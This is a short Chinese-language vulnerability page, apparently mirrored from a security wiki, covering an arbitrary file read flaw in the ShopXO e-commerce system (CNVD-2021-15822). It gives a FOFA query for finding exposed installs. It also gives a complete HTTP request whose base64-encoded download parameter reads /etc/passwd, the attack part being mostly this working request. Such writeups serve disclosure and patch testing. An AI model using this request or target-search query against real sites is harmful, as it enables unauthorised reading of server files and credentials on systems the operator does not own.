menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right ShopXO chevron_right ShopXO download 任意文件读取漏洞 CNVD-2021-15822.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    ShopXO download 任意文件读取漏洞 CNVD-2021-15822.md
    1.4 KB / 2021-07-04 06:01:08
        # ShopXO download 任意文件读取漏洞 CNVD-2021-15822
    
    ## 漏洞描述
    
    ShopXO是一套开源的企业级开源电子商务系统。ShopXO存在任意文件读取漏洞,攻击者可利用该漏洞获取敏感信息
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > ShopXO
    
    ## FOFA
    
    > [!NOTE]
    >
    > app="ShopXO企业级B2C电商系统提供商"
    
    ## 漏洞复现
    
    商城主页如下
    
    ![](http://wikioss.peiqi.tech/vuln/image-20210602084431142.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    发送漏洞请求包
    
    ```
    GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1
    Host: 
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    ```
    
    其中 **/url/xxxx** 中的 base64 解码后为 **/etc/passwd**
    
    ![image-20210602084556460](http://wikioss.peiqi.tech/vuln/image-20210602084556460.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    
    
    links
    file_download